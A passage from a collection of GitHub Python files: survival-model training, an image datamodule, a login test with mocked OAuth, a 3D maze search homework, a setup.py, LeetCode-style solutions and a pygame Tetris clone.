normalize(data_val, mean=mean_train, std=std_train, skip_cols=[\"time\", \"event\"])\nx_test = torch.tensor(data_test.drop([\"time\", \"event\"], axis=1).values, dtype=torch.float, device=device)\nx_val = torch.tensor(data_val.drop([\"time\", \"event\"], axis=1).values, dtype=torch.float, device=device)\nx_train = torch.tensor(data_train.drop([\"time\", \"event\"], axis=1).values, dtype=torch.float, device=device)\nnum_features = data_train.shape[1] - 2\ntime_bins = make_time_bins(data_train[\"time\"].values, event=data_train[\"event\"].values)\nnum_time_bins = len(time_bins)\n'''fit Deep MTLR'''\ndeepmtlr = nn.Sequential(\n nn.Linear(num_features, 100),\n nn.ELU(),\n nn.Dropout(.4),\n nn.Linear(100, 32),\n nn.ELU(),\n nn.Dropout(.4),\n MTLR(in_features=32, num_time_bins=num_time_bins)\n)\ndeepmtlr = train_mtlr_cv(deepmtlr, data_train, time_bins, num_epochs=20, lr=.01, batch_size=660, cv=5,weight_decay=1e-5, verbose=True, device=device)\ntorch.save(deepmtlr.state_dict(), os.path.join(path, 'model/', 'deep_mtlr.pth'))\nwith torch.no_grad():\n pred_deep = deepmtlr(torch.tensor(data_test.drop([\"time\", \"event\"], axis=1).values, dtype=torch.float))\n pred_survival = mtlr_survival_at_times(pred_deep, time_bins, eval_times)\n pred_risk = mtlr_risk(pred_deep).cpu().numpy()\n pred_deep_3 = deepmtlr(torch.tensor(data_train.drop([\"time\", \"event\"], axis=1).values, dtype=torch.float))\n pred_survival_3 = mtlr_survival_at_times(pred_deep_3, time_bins, eval_times)\n pred_risk_3 = mtlr_risk(pred_deep_3).cpu().numpy()\n pred_deep_val = deepmtlr(torch.tensor(data_val.drop([\"time\", \"event\"], axis=1).values, dtype=torch.float))\n pred_survival_val = mtlr_survival_at_times(pred_deep_val, time_bins, eval_times)\n pred_risk_val = mtlr_risk(pred_deep_val).cpu().numpy()\nci3 = concordance_index(data_test[\"time\"], -pred_risk, event_observed=data_test[\"event\"])\nauc3 = roc_auc_at_times(data_test[\"time\"], pred_survival, data_test[\"event\"], eval_times)\nfpr, tpr, threshold = roc_curve(data_test[\"event\"], pred_risk) ###计算真正率和假正率\nroc_auc = auc(fpr, tpr)\nci3_val = concordance_index(data_val[\"time\"], -pred_risk_val, event_observed=data_val[\"event\"])\nauc3_val = roc_auc_at_times(data_val[\"time\"], pred_survival_val, data_val[\"event\"], eval_times)\nfpr, tpr, threshold = roc_curve(data_val[\"event\"], pred_risk_val) ###计算真正率和假正率\nroc_auc_val = auc(fpr, tpr)\nci_3 = concordance_index(data_train[\"time\"], -pred_risk_3, event_observed=data_train[\"event\"])\nauc_3 = roc_auc_at_times(data_train[\"time\"], pred_survival_3, data_train[\"event\"], eval_times)\nfpr, tpr, threshold = roc_curve(data_train[\"event\"], pred_risk_3) ###计算真正率和假正率\nroc_auc_3 = auc(fpr, tpr)\nmetrics.append({\n \"model\": \"D-MTLR\",\n #**{f\"auc_{t}\": auc3[i] for i, t in enumerate(eval_times)},\n **{f\"auc\": roc_auc},\n **{f\"C-index\": ci3},\n **{f\"auc_val\": roc_auc_val},\n **{f\"C-index_val\": ci3_val},\n #**{f\"auc_train_{t}\": auc_3[i] for i, t in enumerate(eval_times)},\n **{f\"auc_train\": roc_auc_3},\n **{f\"C-index_train\": ci_3}\n})\n'''Cox vs. Deep MTLR'''\na = pd.DataFrame(metrics).round(3)\nprint(a)\n","repo_name":"JunyiPeng-SMU/Sur_edge_GCN","sub_path":"Deep-MTLR.py","file_name":"Deep-MTLR.py","file_ext":"py","file_size_in_byte":9612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"40857622057","text":"from typing import Optional\nimport torch\nfrom pytorch_lightning import LightningDataModule\nfrom torch.utils.data import DataLoader, Dataset\nfrom src.datamodules.datasets.image_dataset import get_img_dataset\n\n\ndef logit_transform(image, lam=1e-6):\n image = lam + (1 - 2 * lam) * image\n return torch.log(image) - torch.log1p(-image)\n\n\ndef data_transform(config, x):\n if config.uniform_dequantization:\n x = x / 256.0 * 255.0 + torch.rand_like(x) / 256.0\n if config.gaussian_dequantization:\n x = x + torch.randn_like(x) * 0.01\n\n if config.rescaled:\n x = 2 * x - 1.0\n elif config.logit_transform:\n x = logit_transform(x)\n\n if config.image_mean is not None and config.image_std is not None:\n return (\n x - torch.FloatTensor(config.image_mean).to(x.device)[:, None, None]\n ) / torch.FloatTensor(config.image_std).to(x.device)[:, None, None]\n return x\n\n\ndef inverse_data_transform(config, x):\n if config.image_mean is not None and config.image_std is not None:\n x = (\n x * torch.FloatTensor(config.image_std).to(x.device)[:, None, None]\n + torch.FloatTensor(config.image_mean).to(x.device)[:, None, None]\n )\n\n if config.logit_transform:\n x = torch.sigmoid(x)\n elif config.rescaled:\n x = (x + 1.0) / 2.0\n\n return x\n\n\nclass ImgDataModule(LightningDataModule):\n \"\"\"\n A DataModule implements 5 key methods:\n - prepare_data (things to do on 1 GPU/TPU, not on every GPU/TPU in distributed mode)\n - setup (things to do on every accelerator in distributed mode)\n - train_dataloader (the training dataloader)\n - val_dataloader (the validation dataloader(s))\n - test_dataloader (the test dataloader(s))\n This allows you to share a full dataset without explaining how to download,\n split, transform and process the data.\n Read the docs:\n https://pytorch-lightning.readthedocs.io/en/latest/extensions/datamodules.html\n \"\"\"\n\n def __init__(self, cfg):\n super().__init__()\n self.cfg = cfg\n\n # self.dims is returned when you call datamodule.size()\n self.dims = (cfg.channel, cfg.image_size, cfg.image_size)\n self.data_train: Optional[Dataset] = None\n\n @property\n def train_size(self):\n return len(self.data_train)\n\n def prepare_data(self):\n \"\"\"Download data if needed. This method is called only from a single GPU.\n Do not use it to assign state (self.x = y).\"\"\"\n get_img_dataset(self.cfg)\n\n def setup(self, stage: Optional[str] = None):\n \"\"\"Load data. Set variables: `self.data_train`, `self.data_val`, `self.data_test`.\n This method is called by lightning separately\n when using `trainer.fit()` and `trainer.test()`!\n The `stage` can be used to differentiate whether the `setup()` is called\n before trainer.fit()` or `trainer.test()`.\"\"\"\n self.data_train = get_img_dataset(self.cfg)\n self.pk_data = torch.randn(\n len(self.data_train), self.cfg.channel, self.cfg.image_size,\n self.cfg.image_size)\n\n def train_dataloader(self):\n loader_pk = DataLoader(\n self.pk_data, batch_size=self.cfg.dl.batch_size,\n shuffle=True, num_workers=self.cfg.dl.num_workers)\n loader_img = DataLoader(\n dataset=self.data_train,\n batch_size=self.cfg.dl.batch_size,\n num_workers=self.cfg.dl.num_workers,\n pin_memory=self.cfg.dl.pin_memory,\n shuffle=True,\n )\n return [loader_pk, loader_img]\n\n def data_transform(self, feed_dict):\n if isinstance(feed_dict, list):\n feed_dict = feed_dict[0]\n feed_dict = feed_dict.float()\n return data_transform(self.cfg, feed_dict)\n\n def inverse_data_transform(self, x):\n return inverse_data_transform(self.cfg, x)\n\n def update_pk(self, new_pk_data):\n self.pk_data = new_pk_data\n","repo_name":"sbyebss/variational_wgf","sub_path":"toy/src/datamodules/image_datamodule.py","file_name":"image_datamodule.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"11"} +{"seq_id":"41122307302","text":"def maxProfitWithKTransactions(prices, k):\n if not len(prices):\n return 0\n profits = [[0 for d in prices] for t in range(k + 1)]\n\n for no_of_xn in range(1, k + 1):\n max_thus_far = float(\"-inf\")\n for cur_price_index in range(1, len(prices)):\n max_thus_far = max(max_thus_far,\n (profits[no_of_xn - 1][cur_price_index - 1] - prices[cur_price_index - 1]))\n profits[no_of_xn][cur_price_index] = max(profits[no_of_xn][cur_price_index - 1], max_thus_far + prices[cur_price_index])\n return profits[-1][-1]\n\n\nif __name__ == '__main__':\n prices = [5, 11, 3, 50, 60, 90]\n transaction_allowed = 2\n profit = maxProfitWithKTransactions(prices, transaction_allowed)\n print(profit)\n","repo_name":"AjeshRPai/Algorithms-Python","sub_path":"dynamic_programming/max_profit_with_k_transactions.py","file_name":"max_profit_with_k_transactions.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2270470523","text":"from urllib.parse import urlparse, parse_qs\n\nimport requests_mock\nimport sqlalchemy\nfrom flask import url_for\n\nimport critiquebrainz.db.users as db_users\nfrom critiquebrainz import db\nfrom critiquebrainz.frontend.testing import FrontendTestCase\n\n\nclass LoginViewsTestCase(FrontendTestCase):\n\n def test_login_page(self):\n response = self.client.get(\"/login/\")\n self.assert200(response)\n\n @requests_mock.Mocker()\n def test_login_oauth(self, mock_requests):\n \"\"\" Tests that creating a new user, update MB username and login to CB updates MB username in CB db \"\"\"\n row_id = 1111\n\n mock_requests.post(\"https://musicbrainz.org/oauth2/token\", json={\n \"access_token\": \"UF7GvG2pl70jTogIwOhD32BhI_aIevPF\",\n \"expires_in\": 3600,\n \"token_type\": \"Bearer\",\n \"refresh_token\": \"GjSCBBjp4fnbE0AKo3uFu9qq9K2fFm4u\"\n })\n\n mock_requests.get(\"https://musicbrainz.org/oauth2/userinfo\", json={\n \"sub\": \"old-user-name\",\n \"metabrainz_user_id\": row_id\n })\n\n response = self.client.get(url_for(\"login.musicbrainz\"))\n params = parse_qs(urlparse(response.location).query)\n response = self.client.get(\n url_for(\"login.musicbrainz_post\", code=\"foobar\", state=params[\"state\"][0]),\n follow_redirects=True\n )\n self.assert200(response)\n user = db_users.get_by_mb_row_id(row_id)\n self.assertEqual(user[\"musicbrainz_username\"], \"old-user-name\")\n self.assertEqual(user[\"display_name\"], \"old-user-name\")\n\n self.client.get(url_for(\"login.logout\"))\n\n # change MB username without changing display name, musicbrainz id in database should update\n mock_requests.get(\"https://musicbrainz.org/oauth2/userinfo\", json={\n \"sub\": \"new-user-name\",\n \"metabrainz_user_id\": row_id\n })\n\n response = self.client.get(url_for(\"login.musicbrainz\"))\n params = parse_qs(urlparse(response.location).query)\n response = self.client.get(\n url_for(\"login.musicbrainz_post\", code=\"foobar\", state=params[\"state\"][0]),\n follow_redirects=True\n )\n self.assert200(response)\n user = db_users.get_by_mb_row_id(row_id)\n self.assertEqual(user[\"musicbrainz_username\"], \"new-user-name\")\n self.assertEqual(user[\"display_name\"], \"new-user-name\")\n\n self.client.get(url_for(\"login.logout\"))\n\n # change display name to something else, this time display name should not be updated\n db_users.update(user[\"id\"], {\"display_name\": \"custom-display-name\"})\n\n # change MB username, musicbrainz id in database should not update because display name is different\n mock_requests.get(\"https://musicbrainz.org/oauth2/userinfo\", json={\n \"sub\": \"another-new-user-name\",\n \"metabrainz_user_id\": row_id\n })\n\n response = self.client.get(url_for(\"login.musicbrainz\"))\n params = parse_qs(urlparse(response.location).query)\n response = self.client.get(\n url_for(\"login.musicbrainz_post\", code=\"foobar\", state=params[\"state\"][0]),\n follow_redirects=True\n )\n self.assert200(response)\n user = db_users.get_by_mb_row_id(row_id)\n self.assertEqual(user[\"musicbrainz_username\"], \"another-new-user-name\")\n self.assertEqual(user[\"display_name\"], \"custom-display-name\")\n","repo_name":"metabrainz/critiquebrainz","sub_path":"critiquebrainz/frontend/views/test/test_login.py","file_name":"test_login.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"11"} +{"seq_id":"23058556409","text":"from queue import Queue\nfrom queue import LifoQueue\nfrom queue import PriorityQueue\nimport math \n\ndef to_int_tuple(str1):\n coords = str1.split(\" \")\n for i in range(len(coords)):\n coords[i] = int(coords[i])\n return tuple(coords)\n \ndef tuple_to_string(loc):\n loc_str = \"\"\n for num in loc: \n loc_str = loc_str + str(num) + \" \"\n return loc_str\n \ndef in_bounds(loc, bounds):\n return bool((0 <= loc[0] < bounds[0])\n & (0 <= loc[1] < bounds[1])\n & (0 <= loc[2] < bounds[2]))\n\n#straight moves: \ndef mv1(loc):\n loc = list(loc)\n loc[0]+=1\n return tuple(loc)\ndef mv2(loc):\n loc = list(loc)\n loc[0]-=1\n return tuple(loc)\ndef mv3(loc):\n loc = list(loc)\n loc[1]+=1\n return tuple(loc)\ndef mv4(loc):\n loc = list(loc)\n loc[1]-=1\n return tuple(loc)\ndef mv5(loc):\n loc = list(loc)\n loc[2]+=1\n return tuple(loc)\ndef mv6(loc):\n loc = list(loc)\n loc[2]-=1\n return tuple(loc)\n\n#diagonal moves: \ndef mv7(loc):\n loc = list(loc) \n loc[0]+=1\n loc[1]+=1\n return tuple(loc)\ndef mv8(loc): \n loc = list(loc)\n loc[0]+=1\n loc[1]-=1\n return tuple(loc)\ndef mv9(loc): \n loc = list(loc)\n loc[0]-=1\n loc[1]+=1\n return tuple(loc)\ndef mv10(loc): \n loc = list(loc)\n loc[0]-=1\n loc[1]-=1\n return tuple(loc)\ndef mv11(loc): \n loc = list(loc)\n loc[0]+=1\n loc[2]+=1\n return tuple(loc)\ndef mv12(loc): \n loc = list(loc)\n loc[0]+=1\n loc[2]-=1\n return tuple(loc)\ndef mv13(loc): \n loc = list(loc)\n loc[0]-=1\n loc[2]+=1\n return tuple(loc)\ndef mv14(loc): \n loc = list(loc)\n loc[0]-=1\n loc[2]-=1\n return tuple(loc)\ndef mv15(loc): \n loc = list(loc)\n loc[1]+=1\n loc[2]+=1\n return tuple(loc)\ndef mv16(loc): \n loc = list(loc)\n loc[1]+=1\n loc[2]-=1\n return tuple(loc)\ndef mv17(loc): \n loc = list(loc)\n loc[1]-=1\n loc[2]+=1\n return tuple(loc)\ndef mv18(loc): \n loc = list(loc)\n loc[1]-=1\n loc[2]-=1\n return tuple(loc)\n\n#move functions dict\nmvs = {\n 1: mv1,\n 2: mv2,\n 3: mv3,\n 4: mv4,\n 5: mv5,\n 6: mv6,\n 7: mv7,\n 8: mv8,\n 9: mv9,\n 10: mv10,\n 11: mv11,\n 12: mv12,\n 13: mv13,\n 14: mv14,\n 15: mv15,\n 16: mv16,\n 17: mv17,\n 18: mv18,\n}\n\ndef uninformed_dict(loc_mvs, num_locs, lines):\n for i in range(5, num_locs+5):\n coords = lines[i].split(\" \")\n for i in range(len(coords)):\n coords[i] = int(coords[i])\n grid_loc = tuple(coords[:3])\n mv_list = coords[3:]\n loc_mvs[grid_loc] = mv_list \n\ndef uninformed_search(entry_loc, loc_mvs, exit_goal, bounds): \n frontier = Queue(maxsize=0)\n parent_dict = {} # maps nodes to their parent\n\n if not in_bounds(entry_loc, bounds) or entry_loc not in loc_mvs:\n return parent_dict # no sol'n \n \n elif entry_loc == exit_goal: \n parent_dict[entry_loc] = 0\n return parent_dict # sol'n only one node\n \n visited = set(entry_loc)\n frontier.put(entry_loc)\n \n # exits loop when there are no more nodes to explore or \n # the exit goal has been found\n while frontier.qsize() > 0 and exit_goal not in parent_dict: \n curr = frontier.get()\n if curr in loc_mvs:\n for move in loc_mvs[curr]: \n neighbor = mvs[move](curr)\n if in_bounds(neighbor, bounds) and neighbor in loc_mvs and neighbor not in visited: \n visited.add(neighbor) \n frontier.put(neighbor) \n parent_dict[neighbor] = curr\n return parent_dict\n\ndef output(parent_dict, exit_goal, entry):\n path = LifoQueue(maxsize=0)\n if exit_goal not in parent_dict: \n return path ##no sol'n = empty stack \n\n curr = exit_goal\n\n while curr != entry: \n path.put(curr)\n curr = parent_dict[curr] #find parent of current node, update curr node\n path.put(curr) ##puts entry into stack \n return path \n\ndef write_uninformed_soln(path): ##where path is stack and the first element is the entry loc\n with open('output.txt', 'w') as maze_soln:\n if path.qsize()==0:\n maze_soln.write(\"FAIL\")\n return\n maze_soln.write(str(path.qsize()-1) + \"\\n\")\n maze_soln.write(str(path.qsize()) + \"\\n\")\n maze_soln.write(tuple_to_string(path.get()) + \"0\\n\")\n \n cost = \"1\"\n while path.qsize()>0: \n curr = path.get()\n if path.qsize() == 0: \n maze_soln.write(tuple_to_string(curr) + cost)\n else: \n maze_soln.write(tuple_to_string(curr) + cost + \"\\n\") \ndef calc_distance(tuple1, tuple2):\n return math.sqrt(((tuple2[0] - tuple1[0])**2) + ((tuple2[1] - tuple1[1])**2) + ((tuple2[2] - tuple1[2])**2)) \n\ndef informed_dict(loc_mvs, num_locs, lines):\n straight_moves = [1, 2, 3, 4, 5, 6]\n\n for i in range(5, num_locs+5):\n coords = lines[i].split(\" \") \n for i in range(len(coords)):\n coords[i] = int(coords[i])\n grid_loc = tuple(coords[:3])\n\n ## create dictionary of moves to cost \n mv_list = coords[3:]\n mv_dict = {move: 10 if move in straight_moves else 14 for move in mv_list}\n loc_mvs[grid_loc] = mv_dict\n\ndef informed_search(a_star, entry_loc, loc_mvs, exit_goal, bounds):\n\n pq = PriorityQueue()\n pq.put((0, entry_loc))\n min_cost = {entry_loc : [0,0]} ##first element total cost of path, second element cost of last move\n parent_dict = {} ## map node to parent\n\n if not in_bounds(entry_loc, bounds) or entry_loc not in loc_mvs:\n return parent_dict, min_cost # no sol'n\n elif entry_loc == exit_goal:\n parent_dict[entry_loc] = 0\n return parent_dict, min_cost # sol'n one node\n \n while not pq.empty(): \n elem = pq.get()\n curr = elem[1] \n if curr in loc_mvs: #test if curr is valid grid point\n mv_cost = loc_mvs[curr] #dictionary of encoded moves to their cost\n for move in mv_cost:\n dist = mv_cost[move] + min_cost[curr][0] \n dist_to_exit = calc_distance(curr, exit_goal)\n heuristic_cost = dist + a_star*math.ceil(dist_to_exit) ##mutliply by some binary variable \n neighbor = mvs[move](curr)\n #if neighbor is valid point and either not already in min_cost or found cheaper overall path to neighbor\n if in_bounds(neighbor, bounds) and (neighbor not in min_cost or min_cost[neighbor][0] > dist): \n min_cost[neighbor] = [dist, mv_cost[move]]\n pq.put((heuristic_cost, neighbor))\n parent_dict[neighbor] = curr\n if exit_goal not in parent_dict: \n return {}, {} ##no sol'n\n return parent_dict, min_cost\n\ndef write_informed_soln(path, min_cost, exit_goal): ##where path is stack and the first element is the entry loc\n with open('output.txt', 'w') as maze_soln:\n if path.qsize()==0:\n maze_soln.write(\"FAIL\")\n return\n \n total = min_cost[exit_goal][0]\n maze_soln.write(str(total) + \"\\n\")\n maze_soln.write(str(path.qsize()) + \"\\n\")\n maze_soln.write(tuple_to_string(path.get()) + \"0\\n\")\n\n while path.qsize() > 0: \n curr = path.get()\n cost = min_cost[curr][1] #cost of last move to curr\n if path.qsize() == 0: \n maze_soln.write(tuple_to_string(curr) + str(cost))\n else: \n maze_soln.write(tuple_to_string(curr) + str(cost) + \"\\n\")\n\ndef main():\n with open('input.txt', 'r') as input_file:\n lines = input_file.read().split('\\n') \n algo = lines[0]\n bounds = to_int_tuple(lines[1])\n entry = to_int_tuple(lines[2])\n exit_goal = to_int_tuple(lines[3])\n num_locs = int(lines[4])\n\n loc_mvs = {} # dictionary matching grid locations to their possible moves [tuple : list] \n if algo==\"BFS\" :\n uninformed_dict(loc_mvs, num_locs, lines)\n parent_dict = uninformed_search(entry, loc_mvs, exit_goal, bounds)\n soln_path = output(parent_dict, exit_goal, entry)\n write_uninformed_soln(soln_path)\n else:\n a_star = 1 if algo ==\"A*\" else 0\n informed_dict(loc_mvs, num_locs, lines)\n parent_dict, min_cost = informed_search(a_star, entry, loc_mvs, exit_goal, bounds)\n soln_path = output(parent_dict, exit_goal, entry)\n write_informed_soln(soln_path, min_cost, exit_goal)\n\nmain()","repo_name":"megankbull/AI-HW1","sub_path":"hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":8136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26565164990","text":"import setuptools\n\nVERSION = \"1.4\"\n\nwith open(\"README.md\") as f:\n LONGDESCRIPTION = f.read()\nwith open(\"nuvola/version.py\", \"w+\") as f:\n f.write(f\"VERSION = {VERSION}\\n\")\n\nsetuptools.setup(\n name='nuvola',\n version=VERSION,\n description=\"Python API for the electronic register Nuvola from Madisoft\",\n url='https://github.com/topongo/nuvola',\n author='Lorenzo Bodini',\n author_email='lorenzo.bodini.private@gmail.com',\n packages=['nuvola'],\n python_requires='>=3.7',\n license=\"GPL3\",\n platform=\"All\",\n long_description=LONGDESCRIPTION,\n long_description_content_type=\"text/markdown\",\n install_requires=[\n \"bs4\",\n \"requests\",\n \"datetime\",\n \"simplejson\"\n ]\n)\n","repo_name":"topongo/nuvola","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"36584605393","text":"from typing import List\n\nclass Solution:\n def findRepeatedDnaSequences(self, s: str) -> List[str]:\n\n res = {}\n for i in range(len(s) - 9):\n tmp = s[i:i + 10]\n res[tmp] = res.get(tmp, 0) + 1\n return list([i for i in res.keys() if res[i] >= 2])\n\nif __name__ == '__main__':\n so = Solution()\n s = \"AAAAACCCCCAAAAACCCCCCAAAAAGGGTTT\"\n print(so.findRepeatedDnaSequences(s))","repo_name":"hensby/leetcode","sub_path":"187.RepeatedDNASequences.py","file_name":"187.RepeatedDNASequences.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"34724884560","text":"import pygame\nimport gamemanager\nimport piece_data\nimport math\n\npygame.init()\nWIDTH, HEIGHT = 900, 700\nWIN = pygame.display.set_mode((WIDTH, HEIGHT), pygame.RESIZABLE)\npygame.display.set_caption(\"Tetris!\")\nclock = pygame.time.Clock()\nfont = pygame.font.SysFont(\"Calibri\", 11, bold=True)\navailable_pieces_list = [\"I\", \"O\", \"L\", \"J\", \"S\", \"Z\", \"T\"]\nGrid_Width = 10\nGrid_Row = []\nsearchable_indexes = []\nfor i in range(Grid_Width):\n Grid_Row.append(\"-\")\nfor i in range(Grid_Width):\n searchable_indexes.append(i)\nGrid_Height = 24\nInvisible_Rows = 4\nSquare_SizeD = 20\nSquare_Size = 20\nGrid_rect_list = []\n\nDAS = 9\nARR = 1\nSDF = 30\nGRAV = 30\nGRACE = GRAV\n\nV_LIGHT_GREY = (28, 28, 28)\nBLACK = (0, 0, 0)\nGREEN = (130, 178, 49)\nBLUE = (78, 61, 164)\nRED = (178, 51, 58)\nORANGE = (226, 111, 40)\nYELLOW = (178, 152, 49)\nCYAN = (49, 178, 130)\nPURPLE = (164, 61, 154)\nGREY = (40, 40, 40)\n\ncolors = {\n \"I\": CYAN,\n \"O\": YELLOW,\n \"J\": BLUE,\n \"L\": ORANGE,\n \"Z\": RED,\n \"S\": GREEN,\n \"T\": PURPLE\n}\n\ndef update_fps():\n coverrect = pygame.Rect(0, 0, 60, 40)\n pygame.draw.rect(WIN, BLACK, coverrect)\n fps = str(int(clock.get_fps()))\n fps_text = font.render(fps + \" FPS\", 1, pygame.Color(\"white\"))\n WIN.blit(fps_text, (6,4))\n\ndef draw_window(gamestate, holdqueue):\n\n def draw_outer_mino(RHOLS, CHOLS, disp, starting_locx, starting_locy, pez, u):\n for r2 in range(RHOLS):\n for c2 in range(CHOLS):\n peace = disp[r2][c2]\n if peace == 1:\n REAL_peace = pygame.Rect(starting_locx + (Square_Size + 1) * c2, starting_locy + (Square_Size + 1) * r2 + (u) * ((Square_Size + 1) * 3), Square_Size, Square_Size)\n pygame.draw.rect(WIN, colors[pez], REAL_peace)\n\n mult_x = WIN.get_width() / WIDTH\n mult_y = WIN.get_height() / HEIGHT\n Square_Size = int(Square_SizeD * math.sqrt(mult_x * mult_y))\n b_left = (WIN.get_width() / 2) - ((Square_Size + 1) * (Grid_Width / 2)) - 1\n bh_top = (WIN.get_height() / 2) - ((Square_Size + 1) * (Grid_Height - Invisible_Rows) / 2) - 1\n board_background = pygame.Rect(b_left, bh_top, (Square_Size + 1) * Grid_Width + 1, (Square_Size + 1) * (Grid_Height - Invisible_Rows) + 1)\n pygame.draw.rect(WIN, V_LIGHT_GREY, board_background)\n q_left = (WIN.get_width() / 2) + ((Square_Size + 1) * (Grid_Width / 2)) + 2\n queue_background = pygame.Rect(q_left, bh_top, (Square_Size + 1) * 5 + 1, (Square_Size + 1) * 15 + 1)\n pygame.draw.rect(WIN, V_LIGHT_GREY, queue_background)\n h_left = (WIN.get_width() / 2) - ((Square_Size + 1) * (Grid_Width / 2)) - (Square_Size + 1) * 5 - 4\n hold_background = pygame.Rect(h_left, bh_top, (Square_Size + 1) * 5 + 1, (Square_Size + 1) * 3 + 1)\n pygame.draw.rect(WIN, V_LIGHT_GREY, hold_background)\n for i in range(5):\n queue_slot = pygame.Rect(q_left + 1, bh_top + 1 + (i) * ((Square_Size + 1) * 3), (Square_Size + 1) * 5 - 1, (Square_Size + 1) * 3 - 1)\n pygame.draw.rect(WIN, BLACK, queue_slot)\n for r in range(Grid_Height):\n for c in range(Grid_Width):\n piece = gamestate.grid[r][c]\n cols = c*(Square_Size + 1) + ((WIN.get_width() / 2) - ((Square_Size + 1) * Grid_Width / 2))\n rols = r*(Square_Size + 1) + ((WIN.get_height() / 2) - ((Square_Size + 1) * (Grid_Height - Invisible_Rows) / 2)) - ((Square_Size + 1) * Invisible_Rows)\n if piece != \"-\":\n tetrominodominay = pygame.Rect(cols, rols, Square_Size, Square_Size)\n pygame.draw.rect(WIN, colors[piece], tetrominodominay)\n\n elif piece == \"-\":\n tetrominodominay = pygame.Rect(cols, rols, Square_Size, Square_Size)\n pygame.draw.rect(WIN, BLACK, tetrominodominay)\n for u in range(5):\n queue_display = piece_data.hq_dict[holdqueue.queue[u + 1]]\n rrols = len(queue_display)\n ccols = len(queue_display[0])\n starting_locx = q_left + 1 + (((Square_Size + 1) * 5 - 1) / 2 - (Square_Size + 1) * ccols /2)\n starting_locy = bh_top + 1 + (((Square_Size + 1) * 3 - 1) / 2 - (Square_Size + 1) * rrols /2)\n draw_outer_mino(rrols, ccols, queue_display, starting_locx, starting_locy, holdqueue.queue[u + 1], u)\n\n if len(holdqueue.hold) > 0:\n hold_display = piece_data.hq_dict[holdqueue.hold[0]]\n rrrols = len(hold_display)\n cccols = len(hold_display[0])\n htarting_locx = h_left + 1 + (((Square_Size + 1) * 5 - 1) / 2 - (Square_Size + 1) * cccols /2)\n htarting_locy = bh_top + 1 + (((Square_Size + 1) * 3 - 1) / 2 - (Square_Size + 1) * rrrols /2)\n draw_outer_mino(rrrols, cccols, hold_display, htarting_locx, htarting_locy, holdqueue.hold[0], 0)\n update_fps()\n pygame.display.update()\n\ndef main():\n\n FPS = 60\n\n gs = gamemanager.gamestate(Grid_Width, Grid_Height, 4)\n hq = gamemanager.upcoming()\n piece_type = hq.queue[0]\n T = gamemanager.tetromino(piece_type)\n gs.update_tetromino(T)\n DAS_counter = 0\n ARR_counter = 0\n GRAV_counter = 0\n GRACE_counter = 0\n BAG_counter = 1\n hard_dropped = False\n SDM = 1\n end_piece = False\n\n run = True\n while run:\n\n clock.tick(FPS)\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n gs.rotate_tetromino(T, 1)\n elif event.key == pygame.K_z:\n gs.rotate_tetromino(T, -1)\n if event.key == pygame.K_RIGHT:\n gs.move_tetromino(T, False, 1)\n elif event.key == pygame.K_LEFT:\n gs.move_tetromino(T, False, -1)\n if event.key == pygame.K_DOWN:\n if SDF != \"inf\":\n SDM = SDF\n elif SDF == \"inf\":\n gs.harddrop(T)\n if event.key == pygame.K_c:\n new_piece = hq.update_hold(gs, T)\n if hq.hold_usable:\n T = gamemanager.tetromino(new_piece)\n gs.update_tetromino(T)\n hq.hold_usable = False\n if event.key == pygame.K_SPACE:\n gs.harddrop(T)\n end_piece = True\n hard_dropped = True\n GRACE_counter = GRACE - 1\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_RIGHT:\n DAS_counter = 0\n ARR_counter = 0\n if event.key == pygame.K_LEFT:\n DAS_counter = 0\n ARR_counter = 0\n if event.key == pygame.K_DOWN:\n SDM = 1 \n\n keys_pressed = pygame.key.get_pressed()\n if keys_pressed[pygame.K_RIGHT]:\n if DAS_counter < DAS:\n DAS_counter += 1\n elif DAS_counter == DAS:\n if ARR_counter < ARR:\n ARR_counter += 1\n elif ARR_counter == ARR:\n gs.move_tetromino(T, False, 1)\n ARR_counter = 0\n if keys_pressed[pygame.K_LEFT]:\n if DAS_counter < DAS:\n DAS_counter += 1\n elif DAS_counter == DAS:\n if ARR_counter < ARR:\n ARR_counter += 1\n elif ARR_counter == ARR:\n gs.move_tetromino(T, False, -1)\n ARR_counter = 0\n \n if GRAV_counter < GRAV:\n GRAV_counter += SDM\n elif GRAV_counter >= GRAV and hard_dropped != True:\n end_piece = gs.move_tetromino(T, True, 1)\n GRAV_counter = 0\n \n if end_piece == True:\n GRACE_counter += 1\n if GRACE_counter == GRACE:\n hard_dropped = False\n GRACE_counter = 0\n end_piece = False\n BAG_counter += 1\n hq.queue.pop(0)\n hq.hold_usable = True\n new_piece = hq.queue[0]\n gs.clear_rows()\n T = gamemanager.tetromino(new_piece)\n gs.update_tetromino(T)\n if BAG_counter == 7:\n BAG_counter = 0\n hq.recharge()\n elif end_piece == False:\n GRACE_counter = 0\n \n draw_window(gs, hq)\n\n pygame.quit()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GoldEnter21/Tetris","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13216120868","text":"\"\"\"Module building sequences for mlp model.\"\"\"\nfrom typing import Tuple, Dict\nimport pandas as pd\nfrom keras_mixed_sequence import MixedSequence\nfrom epigenomic_dataset.utils import normalize_epigenomic_data\nfrom .mlp_sequence import get_mlp_training_sequence\n\n\ndef build_mlp_sequences(\n train_x: pd.DataFrame,\n test_x: pd.DataFrame,\n subtrain_x: 